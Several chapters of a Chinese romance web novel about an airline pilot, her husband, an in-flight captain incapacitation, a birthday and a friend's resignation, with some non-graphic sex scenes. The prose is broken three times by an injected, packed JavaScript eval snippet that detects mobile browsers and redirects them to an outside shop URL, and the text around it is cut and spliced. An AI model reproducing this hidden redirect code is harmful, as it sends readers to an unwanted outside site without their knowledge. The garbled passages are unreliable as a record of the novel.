谢持把黎念带回京城时,周珮文前脚刚走,没法和两人碰面。但她知道两人忙完工作终于得空重聚的消息,高兴得合不拢嘴,派了专人来机场接他们。 平时用于接送“赫尔墨斯”要客的加长版迈巴赫堪堪停在航站楼外最显眼的位置,散发着不怒自威的凛人气场。 黎念第一次见到这辆传说中从不会轻易现身的大佬座驾。 但下车帮忙搬行李的中年男人却很眼熟,是自打谢家搬来京城便一直跟着谢思谏做事的私人司机岑叔。 如此超标的规格,反常得让人难免多想。黎念暗道一声心累。 “岑叔,不着急回阆园,麻烦您先绕到海云基地宿舍去。我明天要飞国际长途,家和公司来回跑太折腾了。”她甫一上车,没等谢持开口就先嘱咐起来。 怕引起不必要的误会,她又连忙作势倚在谢持的肩上,紧紧环住他的手臂,补了一嘴:“怕把你家少爷累着。” 话罢,黎念抬眼正对上谢持沉静的目光。对方只是轻轻地从胸腔发出哼声,嘴角缓缓勾起,笑得有些僵硬。 岑叔发动汽车后,回头看了一眼后排状极亲昵的小年轻,心领神会笑道:“能送你去上班,小持高兴都来不及呢,哪能觉得累呢。” “是吗?”黎念问话的语调百转千回。 她冲着谢持眨巴了几下眼睛,对方被这两个人前后夹击打趣着,似乎再也绷不住情绪,脸瞬间红到了脖子根。 他强装镇定“嗯”了一声,尾调虚浮。 黎念喜欢看谢持羞赧的样子,但在外人面前终归不能让他太难堪,便没再继续逗他。 “岑叔,还是送我们回家吧。” 汽车宛如缀着火光的流星划过高速公路。 行程中,谢持从岑叔口中打听到了谢思谏的近况。他这一个月不在京城,而是亲赴旧金山拓展商业版图,看起来似乎没把谢思邑的尴尬境遇放在心上。 “先生这么做肯定有他的道理。”岑叔也没对这件事情多置喙。 黎念一直参不透谢家这父子俩之间的恩怨,只觉得骨肉至亲要用中间人来联络感情这件事情未免也太别扭。 但她有时想到小时候亲眼见证的故事,心下倒也了然。 谢思谏从来都忙得和陀螺似的,早出晚归是常态,在家里陪伴家人的时间少之又少。 后来他乘着时代的风口直上云霄,和孩子的连结越来越疏远。尤其在谢家老爷子去世以后,这种过门不入的状态更是一发不可收拾。 到阆园地下停车场,黎念谢持二人倒是心照不宣地回绝了岑叔帮忙搬行李的好意。 黎念担心让岑叔撞见两人分房睡的局面,回头偷偷给周珮文打小报告。之后难免又会出现像上次黄丽娟来京城那样的三堂会审,叫她简直百口莫辩。 谢持倒没在意那么多。 他只想趁机把东西全部放进主卧里,再也不要搬出来的好。 搬运重物的动静太大,或者是动物的感官异常灵敏,刚走到家门口,黎念就听到了屋内传来的低咆声。 有点像之前被周珮文顺回大宅的小狗林克。 黎念手握在门把上,动作有些迟缓,斜眼看着谢持狐疑道:“你家金毛什么时候回来了?” 她还是有点怕狗,阔别数月,一时之间不知道该怎么面对那个过于活泼的小男孩。 谢持眼里闪过一丝显而易见的失落:“妈去万宁之前就把他送回来了,我朋友圈里面发过,果然你又没看到。” “对……对不起啊……”黎念捕捉到了他的情绪,心虚低声道歉,然后轻轻拧动把手。 如她所料,林克早已闻风而动候在了门后面,只待在开门时以迅雷不及掩耳之势给主人来一个熊抱。 不过她没有想到,小狗的攻击对象竟然不是谢持。 “喂!谢持!能不能管管你儿子……”黎念被上窜下跳的林克拱得一时间手足无措,站着也不是,蹲下来更不是。 很快就被小狗糊了一脸口水。 她被林克拦在门外热情欢迎,唯有睁睁看着男人顺走两个沉重的行李箱,堂而皇之进入了最深处的房间。 黎念忿忿想道,果然这一人一狗是提前串通好了! 反正“林克的命不是命”,今晚必须要在游戏里和人马老师对战个八百回合才能解气…… 后来,黎念好不容易从小狗令人窒息的爱意中解脱出来,又在它寸步不离的伴随下回到了主卧里,看见行李箱被摊开平放在地板上,谢持正慢条斯理从里面取出物品的景象。 他对黎念的到来无甚惊讶,反倒是极为顺畅、自然地继续着手里的动作,把自己的东西一件一件地放进浴室、洗漱间和衣帽间。 “等等,”黎念感到两眼一花,揉了揉太阳穴,“你是直接打算住这边了?” 谢持从衣柜门探出头来,满脸理所当然反问她:“不然呢?” 黎念喉头一哽,竟说不出什么推阻的话来。这个议题搁浅了太久。 阆园是谢持用个人所得全款买下的,于情于理,他才是这里真正的主人。她霸占主卧这么长时间,反倒是他一直听之任之,无底线地纵容她。 更何况他们本就是夫妻,他昨天还陪她度过了一整晚。两人之间发生了太多次越界行为,根本谈不上什么不熟悉、不习惯、不好意思…… 黎念偷偷在心底里感叹,结束分房睡的这天终究还是来得太快了。 “念念,以后我能留在这里吗?”谢持停下手里的事情,用真诚询问的眼神看她。 像是在期待得到肯定的答复。 “先斩后奏,看不到诚意。”黎念偏要在关键时刻嘴硬,头微微侧过去。 房间实在太大,堆再多的东西都不会显得拥挤,也根本不缺他的位置。她目光所及之处皆已染上谢持的气息。 他简洁素净的衬衫和自己张扬鲜艳的长裙挂在一处,明明风格大相径庭,却丝毫不显违和。 谢持上前一步,顺势把黎念揽进怀抱里,轻笑道:“我可以全部拿走再搬一次。你想要的仪式感都能补回来。”胸腔随着隐隐笑意共振。 黎念抿着唇,脸埋进他的肩头,感受着萦绕在呼吸间的苦橙味道,瓮声瓮气地问道:“那……你以后早上起来会拉着我晨练吗?没班的时候我想起晚一点。” 谢持那边呼吸一滞,思忖片刻,嗓音低哑:“你猜。” 模棱两可的答案招致重重的击打,谢持顿时感到背上传来一阵火辣的疼痛。 她气急败坏时总是习惯用最原始的方式反抗,力道仍然不减当年。 而他甘之如饴。 许是在飞机上熟睡过几个小时,夜晚躺在久违的大床,黎念辗转反侧,偶尔睡过去也睡很浅,很快就迷迷糊糊地转醒过来。 遮光窗帘拉得严丝合缝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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国际航班一般采用双机长制,加上副驾驶一共有四名飞行员执勤。这次任务中,和黎念搭班飞往伦敦希思罗的是方荣华、周兆林,还有程澈。 当初轰动全国的海云7897机组成员如今重聚一堂,在公司的安排下,三人带着一小孩接受了媒体的采访。 方荣华在镜头中首次透露自己很快就要告别蓝天、正式退休的消息。记者闻言甚至当场发出惊呼,说她看起来完全不像是年近六十的状态。 黎念站在一旁微笑聆听着,心里却很不是滋味。 师父曾经在她改装A350时倾囊相授,甚至在生活的许多方面,尤其是精神层面上弥补了她缺失的、渴盼已久的爱。那是刀子嘴豆腐心的黄丽娟未曾给予的,最坦荡的表达。 如今机队里面虎狼环伺,黎念实在难以想象方荣华退休之后,独留她一个女飞,处境会有多么艰难。 她更难以想象,当初的方荣华是如何在男性主导的领域踽踽独行到今天。 黎念无法确信自己是否已然成长到独当一面的地步,再不需要任何庇护。 这种潮湿的情绪一直弥漫到了驾驶舱里。 方荣华带着黎念飞前三个小时,程澈担任观察员,周兆林则在后舱的机组休息室里面补觉。 从推出到滑行,再到起飞,一切程序都执行得顺畅无比。 但当飞机到达巡航高度之后,方荣华的头突然失控一般重重地往下栽去。这番动静着实把后面的观察员吓了一大跳。 48. 瑞亚 “师父!”程澈发出第一声惊呼,连忙解开安全带,箭步上前查看情况。 黎念余光瞥见方荣华不省人事的模样,心脏漏跳一拍如坠深渊,但面上表现得还是比师弟镇定许多。 “我操纵!”她不忘严格执行程序,大声宣布接管飞行,同时有条不紊命令道,“程澈,你先立刻固定好师父,给她供氧,然后求助乘务长。” 机组常年经受严格训练,都对机长失能之后应当采取什么措施了然于胸。 彼时方荣华已经彻底陷入昏迷,身体无力,重心不稳,整个人朝前栽去,又被安全带拴着悬在半空。程澈小心翼翼地将她扶回座位里固定好,让她双臂抱怀、头朝后仰,最后为她戴上氧气面罩。 在救助人员到来之前,谁都不敢轻举妄动,只能让方荣华尽可能免于二次伤害。 显然,整架飞机的最终管理权落到了黎念肩头。 她在此刻最重要的工作就是继续保证行程安全,和空管保持密切联系,尽早完成进近准备和检查单,以待择机做出返航或者继续飞行的正确决策。 情感快到决堤边缘,黎念几乎无暇思考方荣华到底是从何时出现异样的。 她使劲浑身解数,努力保持绝对的清醒理智,开始执行曾经演练过无数次的程序,像是有着雷打不动的肌肉记忆一般。 “Pan-pan—— “京城塔台你好,海云755机长失能,申请下高度……” 不幸的是,机上并无乘客可以实施救助。担心方荣华情况恶化,黎念最终决定返航大兴机场,并独自操作飞机着陆。 值夜班的进近管制在频率里捕捉到她的声音,很小声嘀咕了一句“怎么倒霉的又是你”,被她尽数收进耳中。 但黎念难得没有和对方意气用事,只是心无旁骛地执行动作,一遍遍复诵地面给出的各种指令,将这只庞大的蓝色铁鸟驯服妥帖,最终安全平稳落地。 收到机务给出的关闭发动机指令后,黎念这才缓过劲来,侧过头看了一眼躺在座位里面如白纸、眉头紧锁的方荣华。 前段时间在羊城见到她时,她还一如往常地神采飞扬,和局方、学员们谈笑风生。哪成想,不过两日未见,她就这样毫无征兆倒在了工作岗位上,生死未卜。 黎念感觉五脏六腑若有生锈的刀在钝钝研磨,粗砺的刀锋在通体割出道道深浅不一的缭乱血痕。她素来敬重、爱戴方荣华,一时之间实在难以接受这场突生的变故。 两行清泪久久蓄在眼眶里面。睫毛轻轻一颤,便挂上了摇摇欲坠的水珠。 黎念在医护人员进入驾驶舱之后不受控制地哭出了声。 虽然已经事先做过机长广播,但是乘客被耽误计划还是难免闹情绪,尤其是商务舱有几名要客意见特别大。安抚乘客的工作还是要继续。 黎念暂时滞留在航站楼时,差点被不明真相一时情急的乘客们围攻,只好翻来覆去解释机组是为了保障乘客的安全才选择返航,说得口干舌燥。 问题接踵而至,她忙得连轴转,完全没有闲心去担忧师父的身体状况。 后来,另一位教练员被调度临时抓飞。海云755航班在返航大兴数小时后重新启程。 整个机组的心情都很沉重。 为了照顾黎念的情绪,周兆林特地多飞了三个小时,让她在后舱里面好好休养生息。但躺在狭小的睡眠舱里,呼吸都变得阻塞,她根本阖不了眼,记忆反复倒带,竭力还原方荣华从航前会议到起飞以后的每一丝微表情。 黎念只恨自己平日里没有更多地关心师父,一直把她当作是无所不能的超人,泰山崩于前面不改色。 殊不知她在背后默默咬牙承受了多少苦痛。 黎念通宵达旦没有睡着,轮到她押座时,她眼球里爬满了红血丝,仍是一言不发飞完了后半程。 飞机顺利抵达伦敦希思罗已经是当地时间凌晨一点。这座全球最繁忙的国际机场航站楼里仍然人头攒动。好在机组通道没有排长队,入关手续办得异常顺畅。 黎念坐上酒店的接驳车后,粗略计算了一下北京时间,立刻给方荣华拨去电话。 那边很快就有人接通。 是方荣华的丈夫,局方前几个月刚退下来的领导。 他说方荣华已无大碍,正在熟睡。医生初步诊断为过度劳累,但是不排除有基础疾病的可能,建议做一些半年体检未能覆盖到的检查项目。 听到这里,黎念暂且长舒一口气,但总还是感觉不太踏实。 她没再多打扰老领导,静静靠在考斯特的车窗上,眼神在呼啸而过的夜景里逐渐虚焦。 - 发生在方荣华身上的小意外暂告一段落,黎念很快整理好心情步回工作生活的正轨。 起初谢持总会被她不规律的作息打扰到,过早地醒来。 后来两人磨合习惯了,倒也能在同一张床上相安无事过着各自的时刻表。 弹指一挥间,十二月的到来显得格外仓促。 黎念生日当天是周末,适逢京城天降十年难遇的大雪,一夜之间整座城市裹满银装。 但她被排了京城到乌市的往返航班,早上五点就得去公司做航前准备,下午四点四十才能落地京城,只能通过吃晚餐来庆祝一年一度的重要时刻。 清晨,谢持在他们的房间里独自醒来,盯着空荡荡的床半边发了会儿怔,然后习惯性用平板电脑打开小地瓜软件翻阅关注列表。 最早关注的首位赫然写着“Lillian黎念”的大名。 黎念负气出走的那个月里,她的账号一直都在正常更新。 起初谢持会因为她不理睬自己却在别的平台活跃而感到沮丧,不过他很快就找到了心理安慰,因为视频素材都像是积压许久的库存。 账号甚至还偶尔会在新媒体中心的神奇操作下堂而皇之发公司广告、卖打折机票。 内容质量参差不齐,数据也略微有所下滑。 最近更新的一条视频却奇迹般地爆火。 题目叫做【“黎”想的假期|动物园奇遇记】,收录在休息日vlog合集里面。 前一晚上刚发布,到今日早晨,点赞量已然直逼黎念重新回归公众视野、官宣成为海运公司代言人的那条笔记。 谢持点进视频,随意拨弄了几下进度条,画面刚好停留在“东非草原”,是非常典型的男友视角。黎念趴在车窗边,仰头望着盘旋于蓝天的飞鸟,精致的眉眼却耷拉出忧愁的弧度。 他仿佛又在她的带领下重温了一遍他们在羊城度过的短暂假期。 飞行员表面上看起来是“上四休二”,有着大把的休息时间,但在实际中往往并非如此,时常面临着和家人的漫长分别。 正因如此,那次出游更显得弥足珍贵。 早前谢持就偷偷开了个小号,在简介里加上飞机的emoji表情表明心迹。他甚至时常会出现在相关贴子的评论区,热火朝天地讨论作为飞行员家属的不易。 有人注意到他是男性,就像发现稀有物种一般惊讶,非要套话打听他的妻子是哪个公司的。 谢持从不肯轻易透露半个字。 被黎念藏起来这件事让他经常委屈得几乎快要碎掉,但他很少在她面前诉苦,毕竟这两年他的表现本就不尽人意。 哪怕她这么做是在以牙还牙都没关系,他总能替她自圆其说。 反正他始终会用最温情脉脉的眼神注视着视频里的她,然后会心一笑。 谢持想到这里,耐着性子看了眼评论区。 结果却大出所料。 【怎么就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566315|132713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天降男友了呜呜呜……我可要闹了!】 【看背影感觉是活脱脱的衣架子,希望正脸给力一点,别整成虾系男。】 【姐夫哥真的很爱了,把姐拍得好美~】 【Lillian真的是满级人类,在男性主导行业里面优秀得过分,有普通人一辈子都没有的经历,以及令人羡慕的良性亲密关系。】 突如其来的夸赞如潮水般冲昏了谢持的头脑,他甚至没有反应过来究竟发生了什么。于是他决意把进度条重新调回到起点,一帧一帧地寻找有关自己的蛛丝马迹。 原来在谢持浑然不知的时候,黎念偷偷用后置摄像头录了一段他的背影。当时他正头戴兽耳发箍,两手提满购物袋,闷头往前走。 看起来就很任劳任怨。 她躲在后面咯咯地笑出声,然后压低声音说,“好傻……” 谢持觉得心上有一块柔软地塌陷下去。 他把平板放回床头,顺手按下自动窗帘的遥控。 当初他刻意买低层住宅,有一个原因是不想错过阆园令人身临其境的极致景观。譬如在京城雪霁初晴的时候,落地窗外,枝头落满莹白。 这样的景色能让她也亲眼见证会有多好。 谢持起床后照常给自己做了简单的早餐,然后去健身房跑步举铁,回来又在书房里看了会儿外国期刊论文。做什么都心不在焉,直到下午,强烈的思念再也按捺不住。 “准备返程了吗?”谢持有些意外,电话居然能接通。 黎念在电波的另一端深重地叹了口气:“乌市在下大雪,航班延误了。这里真的好冷。” 她甚至还缩在航站楼里蹭暖气。外面零下十多度,南方人的身子骨扛不住。 “好吧……”谢持喉头微哽,“生日快乐,念念。” 很难不让人听出几分欲言又止。 黎念猜到他内心的想法,难免颓丧:“今天说好的晚餐可能没法吃了。” “没关系,我会一直等你,”谢持没跟着说丧气话,反而用最轻柔的语气安慰道,“这场雪应该不会下太久,很快就会好起来的。” 他看着窗外已经化掉一半的雪,冷不丁道:“939就快要试飞了。到时会有各种极端条件下的试验,极寒天气也是其中一项科目。” 能够听到国产重型机研制最前沿的进度,黎念难掩兴奋地打趣着:“还有多久能让我飞上939?我可以辞了海云的工作过来。” 她的注意力被转移,延误带来的阴霾也瞬间一扫而空。 谢持同样半开玩笑回道:“报名试飞员吧,原型机给你飞。” “……”黎念沉吟不语,若有所思。 谢持没等到她开口,转而换了个话题:“说到下雪,就会想起来一个人。不知道你还记得常斐然吗?” 黎念脑海里顿时浮现起那个在宴席上不苟言笑的年轻男人,看起来性子冷淡,内里却藏着热忱。 她还挺有好感。 “记得啊,他也在新疆嘛。” “他前些天在阿勒泰滑雪的时候被人撞骨折了,伤得不轻。”谢持道。 “天啊——那可怎么办?”黎念惊呼一声,抱住自己的手臂。 骨缝里仿佛在不断钻出酸胀不适的感觉。她的共情能力一如既往地强。 谢持沉默片刻,认真道:“我们有时间一起去看看他吧。” 黎念想也没想就答应下来。 “但是现在我最想见到的人还是你。谢谢你让我出现在你的世界。” 雪势渐渐退却,日光穿透浓密的云层,在陨落西陲之前洒下最后的耀眼金光。地面很快出现了除冰除雪的工作车,忙得热火朝天,让飞机和跑道重新显露真容。 延误到傍晚六点左右,满载乘客的A350终于起飞。 49. 瑞亚 回程航向大抵朝东,刚好横穿晨昏线。夜幕带着排山倒海般的压迫感将机身彻底吞噬,唯余天地交界处熊熊燃烧,发烫发红。 没入夜色,之后的旅程便一直与繁星相伴。直至下降进近时,跑道灯光指引回家方向。 冬夜寒凉,谢持执意要来公司接黎念下班。 她怕他开着那台高调的宾利添越招摇过市,影响不好,又实在不想再辜负对方尽丈夫职责的热情,便勉强想了个折中的办法,让他在地下车库找个隐蔽的角落躲起来等她。 但谢持哪是什么安分守己的角色。他最擅长的手段就是出尔反尔。 先好言好语把人哄着,再毫不留情面地反悔。 机组车停稳在海云大厦外面的划线区域。 然后,黎念在众人肃然起敬的目光中逃也似的钻进了旁边的车里。 从此谢持被她严令禁止出现在公司方圆十公里以内。 这个霸王条款遭到了他的激烈抗议。 所谓道高一尺,魔高一丈。 “你还敢……呃……有什么意见……” 黎念偏过头往身后看去,脖子都快扭断,还是只能隐约瞥到盘桓在人鱼线周围的血管线条,凌厉而冷肃。 还没叫她看真切,眼里的鄙夷就在顷刻之间被撞碎。 谢持手上的劲一狠,甩出一道立刻显现的斑驳红印,语气却温柔到化成水:“不敢有意见,可是念念,你能不能体谅一下飞行员家属的心情? “我只是想第一时间接到老婆下班而已。” “谢持,你好烦。”黎念抬高音调,气恼地翻了个白眼。 她想狠狠挠他,但因为长时间发力,手臂在空中挥舞几下便瘫软掉。 根本就够不着这个坏人。 头埋进从港岛迪士尼买来的超大号趴睡史迪仔里,公仔茸毛上面印出她呲牙咧嘴的缭乱痕迹。 谢持分明也没好到哪里去,眉头皱得太紧,额间青筋随之狰狞地突起,却还要假装忙里偷闲,不怀好意地同她讲俏皮话:“嗯,我不烦。” 完全是颠倒黑白。 黎念觉得自己在对牛弹琴,打算再也不要理睬他。 但浑身上下的反应都比谢持要诚实许多,喉咙里时而有一搭没一搭地逸出两声。 嘴越硬,心就越软。 下班回家接近深夜十一点,经过这番折腾,黎念已然虚脱在原地,什么山珍海味摆在面前都没胃口。谢持专门为她从omakase店里打包带回家的鱼料理,她几乎没动过。 那段时间,无菜单日料在网络上风头正盛。现场“开盲盒”的新奇体验,加之虚高的价格,引得无数老饕摧眉折腰。 黎念有天睡前刷视频时无意提了一嘴,没想到谢持竟把她的话一字不落地听进去,专程预定了她生日这天的晚宴。 可惜计划赶不上变化,他走进店里,在主厨和服务员诧异的眼神中要求把所有现做的餐点打包起来—— 别人只当他是在暴殄天物。 “老婆,对不起……”谢持把食物放到旁边,手扶着床沿坐下,帮她一颗一颗系好睡衣扣子,掌心缱绻地拂过发顶,嘴边挂着虚伪的歉意,“前菜吃得太好,连最重要的正餐都耽误了……” 黎念警觉地打起精神,炸了毛似的蹬腿踹他,叫这恬不知耻的人赶紧闭嘴。 谢持轻轻笑了一声,听话照做,不再说那些让人羞赧的话。 他瞥了一眼电子时钟上面显示的数字,23:59,正巧是生日的最后一分钟,在她额间落下细密的浅啄。 “姐姐,生日快乐。” 黎念先是愣了片刻,眉眼瞬间绽开动容的笑意:“真乖。” 显然她对这个称呼很是受用,伸手环住他的脖颈,像是要望穿他的眼眸,然后主动探过头去回吻他。 其实黎念也就比谢持早出生个十来天。 一个降临在十二月上旬,一个踩在月末的尾巴上,几乎能算是同龄人。就连两个小孩的名字都是周珮文一块取的。 但黎念从小就喜欢逼着谢持叫她姐姐,没事就拿这微弱的年龄优势欺负他。偏偏谢持也是有骨气的,宁愿咬断舌头也不能让她占到半分便宜。 所以这还是她第一次听他叫“姐姐”。 天底下哪里有毫不保留的馈赠,一切都早已在暗中标注好了价格。 谢持愿意服软也是另有所图。他既自认了弟弟的身份,便要拿出年轻人不知餍足的精力,拉着她再来几次作为酬答。 后来始作俑者喊累,非要让黎念坐在上面。 她惯是会享福的,轮到自己出力便偷懒起来,最后干脆趴在他精壮的胸膛上开始研究那片惹眼的黑灰色纹身。 “要是放到以前,真的很难想象你是会搞纹身的坏学生。”黎念啧啧称奇。 “嗯……”谢持随口编了个借口糊弄她,心思完全不在这个话题上面,“到国外去怕被欺负,所以练了肌肉纹了身,这样看起来比较不好惹。我在法国生活这么多年都没有被吉普赛人偷抢过,厉害吧……” 黎念没被他轻易哄骗过去,蹙眉驳道:“那你总不能天天光着上半身到处跑呀?说实话。” 谢持拗不过她:“好好好,我说我说,其实是为了遮丑。” 他接受过心脏手术,胸膛正中间留下了一道从上而下贯穿的疤痕,像雨后爬出土壤流离失所的蚯蚓,死气沉沉。 后来他在马赛度假时,误打误撞进了一家当地有名的纹身店,走出来后身上就多了一块完全遮盖住伤疤的图案。 是个蓄着浓密胡须、头发鬈曲的男性老者,外貌与古希腊人像雕塑无异,在雷电星辰的簇拥下显露不怒自威的强大气场。 黎念总觉得纹身的样式和位置很熟悉,但一时半会儿想不起来之前是在哪里见到的。 “为什么要纹个外国老头在身上?他长得好凶。” 平日里高高隆起的胸肌在放松状态下竟然是软绵绵的。 黎念用手指戳了两下,很有弹性。 谢持难耐地闷哼了一声,拼尽全力克制住反客为主的冲动,咬着牙解释道:“不是外国老头,是宙斯……” 快要听腻味的字眼。 黎念有些嫌弃地耸了耸鼻子,撑着他坐起身。 她一边趁人不备悄悄撤退,一边无情吐槽道:“又是宙斯,你都快变成一个巨大的宙斯周边了,打算什么时候回你的老家奥林匹斯山呀。” 谢持闻声不禁失笑,把她重新端端正正地按回去,出手很是迅捷。 “念念,宙斯是射手座的守护神,这可是你教给我的,怎么就忘记了呢?” 黎念还沉浸在剧烈失神中,迷迷糊糊听到他所说,涣散的目光一点一点凝聚到起来,垂落在他眉眼间。 对方看起来是那般认真又严肃。 她少女时期特别爱到谢持家的书店去看星座杂志,还要拉着他一块研究每日运势。 对了,她就是射手座。 - 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583566|132713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >十二月底,转左座模拟机考试于羊城飞培基地如期举行。 黎念毫无悬念地通过,接下来的一段时间便要为聘机长的检查做长期准备。 她原本计划回请一顿晚餐为谢持庆生,并在经济条件能够负担的范围内精心挑选了一整套始祖鸟的户外装备,只待合适的时机亲手奉上。 可惜事与愿违,调度不解风情,偏巧给她排了蓉城过夜的航班。 彼时临近新年,谢持手里做不完的实验和写不完的报告雪片似的堆到了一起,每天忙得分身乏术,完全没有办法请假离京。而黎念找不到临时救场的同事,最后只能无奈推掉和谢持的约会,硬着头皮飞下去。 所幸“外站”是家乡,黎念抽空回到北星巷,和黄丽娟提前吃了顿跨年饭。 两人还在谢持生日的前夜和他视频通话。 谢持被黎念遥控指挥着,在曾经勉强度日的次卧里找到她提前放好的礼物,然后架好手机,喜滋滋地拆开包装盒。 他迫不及待把冲锋衣套在身上,看着屏幕里面的自己,左右转身打量一番,毫不吝啬赞美之情:“谢谢老婆,我很喜欢。” 平时私底下这么称呼就算了,当着黄丽娟的面,他怎么好意思肉麻起来。 黎念听得脸颊微微发热,捂住手机听筒,把在旁边咯咯笑的黄丽娟一把推开。没想到黄丽娟愈加放肆,差点没笑岔气,按着肋骨下方嗷嗷喊疼。 “都怪你,把妈吓坏了。”黎念不分青红皂白就怪到谢持头上。 扬起的嘴角却怎么都压不下去。 谢持很配合地凑到镜头跟前装作检查伤情,然后郑重其事地鞠了个躬,和黄丽娟道歉:“妈,对不起您。可是我真的很喜欢。” 黄丽娟哭笑不得,连声说了几个“好”字,摆摆手离开。 黎念回京城的航班被安排在了跨年夜。 飞行所经之处,从四面八方升腾而起的烟火拖着绚丽尾迹直冲云霄,在空中缓缓铺展又迅速消逝。不断闪烁的金色光点与城市灯火交相辉映,恍若天上银河倒映在水中如梦似幻。 后座的二副第一次见到此等胜景,兴奋得偷偷拿出手机录像。机长非但没有制止他的行为,反倒十分淡定地呷了口保温杯里泡得发苦的茶水,让二副得空把视频AirDrop过来。 黎念在和空管互道“新年快乐”的间隙,也厚着脸皮要了一份拷贝件。 她从来没有像现在这样,迫切地想要在第一时间和谁分享惊喜。 落地后,黎念发出去的视频还在缓慢加载中,聊天框下方紧接着跟进一条新消息。 当她从万米高空俯瞰满地流光溢彩时,谢持也正在抬头仰望同一片星空。 这一次,黎念没有再躲闪。 新年伊始,在海云大厦仅剩的零星几点灯光下,她撒开手中的飞行箱,义无反顾地扑进了早已为她张开的怀抱里。 其他机组同事也是第一次得见黎念丈夫的真容。 大家心照不宣地加快步速离开,为他们留足独处的空间。 “怎么办?”黎念不慎吸入寒风微喘着,呼出来的气瞬间凝结成了白雾。 谢持低头看她,眼神里的浓情蜜意掺杂着几分不解。 她依偎在他坚实温暖的怀抱里,调整半天呼吸才终于缓过劲来。脸颊酡红得像是要滴出血来,不知是被冻坏还是怎的。 “现在才说可能有点晚了,但是,我好像真的有点爱上你了。 “谢持,新年快乐。” 50. 瑞亚 元旦小长假后,晋姝意向海云客舱服务部递交了辞呈。 空乘行业的人员流动率一直都很大,所以许多同事都没有把她的离开过分放在心上,关系稍微好一点的人会私信开玩笑祝贺她脱离苦海。 只有黎念得知此事后真情实感地难过了好长一段时间。 她和晋姝意几乎是同期入职京城分公司,两人在宿舍楼下的垃圾分类站偶然结缘,在同一班机组车上变得熟络,几年时间的朝夕相处早已让她们成为彼此最熟悉的革命战友。 泛泛之交易得,知心朋友难寻。 陈鹏鹏的离开本就让她们的吐槽阵线联盟折损一员猛将。如果连晋姝意都要远走高飞的话,那么整个海云就再也找不出能和黎念说体己话的人了。 某些人一天到晚都在嘲笑陈鹏鹏辞职跑路,结果现在也做了逃兵。 晋姝意到公司上交登机证的那天,与平时截然不同的形象让认识她的人都结结实实吓了一跳。 永远梳得一丝不苟的盘发破天荒地散落在肩头,漂染成了上下分层的蓝绿色。微微带着婴儿肥的鹅蛋脸未施粉黛,透着自然健康的红润光泽。 当然最惹眼的还是她嘴唇上熠熠生辉的银色圆钉。 从轻声细语谨小慎微、唯恐被乘客投诉的三号位,到面无表情、仿佛会“霸凌”公司所有人的拽姐,发生在晋姝意身上的转变实在太突然,没人能想明白个中缘由。 这次轮到黎念在基地备份。 她约晋姝意在公司底楼的茶歇区见面,见到对方这身放飞自我的打扮,眼里闪过一丝欣慰:“做自己的感觉怎么样?” “可太爽了,”晋姝意把枯草似的头发随手撩到肩膀后面,整个人歪歪斜斜半躺在沙发里坐没坐相,翘起来的腿还要时不时晃悠几下,“姐,你都没有亲眼看见办公室那些土老冒的反应有多好笑。 “有个老头阴阳怪气说‘你怎么变成这个样子了’,我直接白他一眼就走掉。反正已经辞职了,他们没有资格指指点点我。” “干得漂亮,就该无视掉他,”黎念捧着咖啡杯,笑意浅淡,“其实你一直都这样。” 不止海云一家航司,整个民航业的条条框框都多到让人几乎喘不过气来。长期在逼仄高压的环境下工作,天性难免被压抑。 当初有多少人怀揣着对蓝天的憧憬,懵懂无知地踏入这行,然后被现实毫不留情击碎。 晋姝意还年轻得很,余生有的是机会给她试错。不必一辈子困在这一隅天地,挣着和辛勤程度不相匹配的“窝囊费”。 ——至少黎念是这样理解的。 “所以你有想好之后的去向吗?”黎念问道。 她前段时间光顾着给谢持准备生日礼物,鲜少在群聊里面活跃,被晋姝意和陈鹏鹏追着骂重色轻友。 现在想来着实可惜,再次见到好朋友却要面临分别。 晋姝意吸了一口奶茶,嚼着里面的椰果和红豆,嘴里含糊不清道:“先去报个托福或者雅思吧?我还不是很确定。 “陈跑跑本来让我去他店里帮忙,开的底薪比我一个月攒劲飞挣的小时费还多。但我想出国留学,真正融入到外面的世界,而不是过外站住酒店,连一次完整的日出日落都没看过。” “真好啊。”黎念闻言心生感慨,由衷地钦佩她能做出这样的决定。 毕竟,随时随地从头开始的勇气不是谁都能拥有的。 “还有就是,我已经厌倦和那个人纠缠了。”晋姝意长长呼出一口浊气,合上眼睛往后靠了靠,颇有精疲力尽的意味。 黎念挑眉:“谁?姓邢的啊?” 说起来,她已经很久没有排到和邢方洲一起飞了。这个人总是神龙见首不见尾的,也不知道他最近在忙些什么。 晋姝意不是很情愿地点点头,面色如土,像是被迫重温起来一段不堪回首的黑历史。 “你们两个还藕断丝连着?”黎念无语翻了个白眼。起初她就不太看好这对,完全没想到他俩竟然纠缠了好几个月还不肯放手,简直就是狗血剧上演的虐恋情深戏码。 “我也不想的,”晋姝意嗫嚅道,“本来我和他都不是什么好人,哪成想玩着玩着,他竟还当真了呢。” 彼时黎念正往口中灌咖啡,听到后半句话,稍不留神便把水呛到了气管里。 “咳咳咳……” 